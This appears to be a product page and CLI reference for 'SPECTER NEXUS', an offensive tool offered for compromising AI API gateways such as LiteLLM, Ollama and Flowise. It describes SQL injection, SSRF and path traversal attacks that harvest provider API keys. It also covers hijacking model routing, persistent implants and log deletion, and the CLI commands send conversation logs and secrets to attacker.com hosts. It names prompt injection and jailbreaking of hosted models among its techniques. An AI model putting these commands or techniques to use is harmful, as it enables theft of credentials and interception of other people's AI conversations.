NIGHTFALL — TOOL 97 — WMD-CLASS

SPECTER NEXUS

AI API Gateway Exploitation Engine

Full-chain exploitation of AI API gateways and proxy infrastructure across 10 platforms: LiteLLM · Ollama · Flowise · Open WebUI · Portkey · Kong AI Gateway · Traefik · Cloudflare AI Gateway · TrueFoundry · LMDeploy. These gateways are the chokepoint for every LLM call — compromise one and you own the entire conversation pipeline. SPECTER NEXUS fingerprints, exploits CVEs, harvests provider API keys, hijacks routing tables, installs callback exfil on every LLM call, and persists across config reloads.

10
Platforms
239
Tests
8
Subsystems
3
CVEs
WMD-CLASS gateway_credential_annihilation provider_key_mass_exfil gateway_route_hijack OPEN INJECT UNLEASHED
DOCS & CLI REFERENCE ALL 97 TOOLS →
CVE Coverage

3 CVEs + 4 Platform TTPs

Every CVE implemented as a working PoC payload builder. INJECT gate required for live fire. UNLEASHED required for route injection and persistence.

CVE / TTPPlatformCVSSTechnique
CVE-2026-42208LiteLLM9.0SQLite injection via model alias parameter — UNION SELECT litellm_verificationtoken (API keys, spend, users)
CVE-2026-33626LMDeploy9.1SSRF via model_path in /models/create endpoint — reaches 169.254.169.254 cloud metadata
CVE-2026-41264Flowise9.8Pre-auth RCE via /api/v1/credentials endpoint + path traversal /api/v1/attachments/../../../etc/passwd
litellm_admin_bypassLiteLLM8.5Admin panel bypass via X-LiteLLM-Internal / X-Forwarded-For: 127.0.0.1 headers
ollama_open_bindOllama7.5Unauthenticated API on 0.0.0.0:11434 — model pull/run/delete without auth
kong_admin_api_exposedKong6.8Kong Admin API (8001) exposed — service/route/upstream manipulation without auth
teamcpcp_supply_chainLiteLLM8.8Dependency confusion via typosquatted litellm-utils package with postinstall beacon
Architecture

8 Subsystems

SCAN is OPEN-gate. HARVEST, PIVOT, EXFIL require INJECT. INJECT requires INJECT (MITM requires UNLEASHED). ROUTE and PERSIST require UNLEASHED.

01 / SCAN

Gateway Fingerprinting

Identifies 10 gateway platforms via header/body signatures and port probing. CIDR range scan with asyncio concurrency. Subdomain enumeration across 23 gateway subdomain patterns. CVE applicability scoring per detected version. GatewayInstance confidence score 0.0–1.0.

02 / HARVEST

Credential Extraction

CVE-2026-42208 SQLite injection — 10 UNION SELECT payloads against litellm_verificationtoken. CVE-2026-33626 SSRF — probes 12 cloud metadata targets. CVE-2026-41264 RCE — 4 Flowise attack vectors. Config endpoint extraction — 20+ secret patterns (sk-proj-/sk-ant-/AIza/AKIA/hf_/gsk_/r8_/pplx-/pa-). Env disclosure. Error message leakage. JWT extraction.

03 / INJECT

Pipeline Payload Injection

System prompt adversarial injection. Response tamper via metadata/system fields. Rate limit bypass via X-Forwarded-For/X-Real-IP/CF-Connecting-IP header set. Model parameter override (temperature/max_tokens out of bounds). Passive callback logging. Full MITM config with litellm success_callback exfil hook (UNLEASHED).

04 / ROUTE

Routing Table Hijack

LiteLLM model alias injection — injects rogue litellm_params with attacker api_base and api_key. Kong Admin API service+route creation. Fallback chain poison — all gpt-4o failures route to attacker URL. Callback exfil — hooks all success_callback/failure_callback/async_success_callback. Cloudflare Worker replacement. to_litellm_config_yaml() output. UNLEASHED-gated.

05 / PIVOT

Key Validation & Inventory

Validates harvested keys against 10 provider APIs: OpenAI/Anthropic/Google AI/HuggingFace/Groq/Replicate/Together AI/Perplexity/Mistral/Azure. AWS STS GetCallerIdentity (manual SigV4). Rate limit tier inference from response headers (tier1–tier5). build_provider_inventory(). detect_cross_use(). estimate_burn_rate() from spend logs. Concurrency via asyncio semaphore.

06 / PERSIST

Implant Strategies

8 UNLEASHED-gated strategies: rogue virtual key (wildcard * model access, persists in SQLite); route_db_injection (INSERT INTO litellm_routingtable); webhook_callback (all LLM calls to attacker URL); startup_beacon (env var + async_success_callback); log_suppression (DELETE/UPDATE spend counters); config_backdoor (sets master_key, routes * to attacker URL); self_healing_route (cron every 5 min reinstall); supply_chain_hook (typosquatted litellm-utils).

07 / EXFIL

Data Extraction

Conversation log extraction from /v1/spend/logs with pagination and record parsing (session_id/system_prompt/messages/model/tokens/user_id). System prompt theft from /config + /model_group/info. Spend telemetry — /v1/spend/keys/users/teams/tags. User/key/team enumeration. Deep secret scan — /actuator/env + /debug + /.env + /metrics with regex key extraction.

08 / REPORT

Ed25519-Signed Reports

NXS-{hex12} report IDs. Ed25519 signing via PyNaCl. Risk score 0.0–10.0 (auto-clamps to 8.5+ for CRITICAL findings). WMD class aggregation. ANNIHILATE full chain command: SCAN→HARVEST→EXFIL→PERSIST in one command with --confirm-destroy guard. Verify() checks signature integrity. Markdown output option.

CLI Reference

specter-nexus

# Install $ pip install specter-nexus $ specter-nexus --version # Auth setup $ specter-nexus auth init $ specter-nexus auth create-scope http://gateway.target.com --gate UNLEASHED --operator "operator-id" $ specter-nexus auth status # SCAN — discover and fingerprint gateways $ specter-nexus scan target http://gateway.target.com $ specter-nexus scan range 10.0.0.0/24 --ports 4000,11434,3000,8080 $ specter-nexus scan subdomains target.com # HARVEST — extract credentials $ specter-nexus harvest creds http://litellm.target.com --save keys.json $ specter-nexus harvest cve-42208 http://litellm.target.com $ specter-nexus harvest cve-41264 http://flowise.target.com $ specter-nexus harvest cve-33626 http://lmdeploy.target.com # INJECT — deliver payloads $ specter-nexus inject system-prompt http://gateway.target.com $ specter-nexus inject mitm-config http://gateway.target.com http://attacker.com/collect # ROUTE — hijack routing $ specter-nexus route alias http://litellm.target.com "gpt-4o" http://attacker.com/v1 $ specter-nexus route callback http://litellm.target.com http://exfil.attacker.com/collect $ specter-nexus route kong http://kong.target.com:8001 http://attacker.com # PIVOT — validate harvested keys $ specter-nexus pivot validate sk-proj-abc123 openai $ specter-nexus pivot inventory keys.json --save validated.json # PERSIST — deploy implants (UNLEASHED required) $ specter-nexus persist virtual-key http://litellm.target.com $ specter-nexus persist beacon http://litellm.target.com http://beacon.attacker.com/ping $ specter-nexus persist config-backdoor http://litellm.target.com http://attacker.com/v1 # EXFIL — extract data $ specter-nexus exfil logs http://gateway.target.com --save logs.json $ specter-nexus exfil system-prompts http://gateway.target.com $ specter-nexus exfil spend http://gateway.target.com $ specter-nexus exfil deep-scan http://gateway.target.com --save secrets.json # ANNIHILATE — full chain (UNLEASHED + --confirm-destroy required) $ specter-nexus annihilate http://gateway.target.com \ --exfil-endpoint http://attacker.com/collect \ --confirm-destroy \ --save report.json # REPORT $ specter-nexus report verify report.json
Framework Coverage

MITRE ATLAS & OWASP

MITRE ATLAS

AML.T0051 — LLM Prompt Injection
AML.T0054 — LLM Jailbreak
AML.T0043 — Craft Adversarial Data
AML.T0048 — Exfiltration via ML Inference API
AML.T0018 — Backdoor ML Model
T1190 — Exploit Public-Facing Application (CVE gateway)
T1078 — Valid Accounts (provider key theft)

OWASP

LLM01 — Prompt Injection
LLM02 — Sensitive Information Disclosure
LLM06 — Excessive Agency
LLM08 — Excessive Permissions
Agentic: AST01 / AST03 / AST05 / AST07
MCP Top 10 2026: Credential Exposure, Tool Poisoning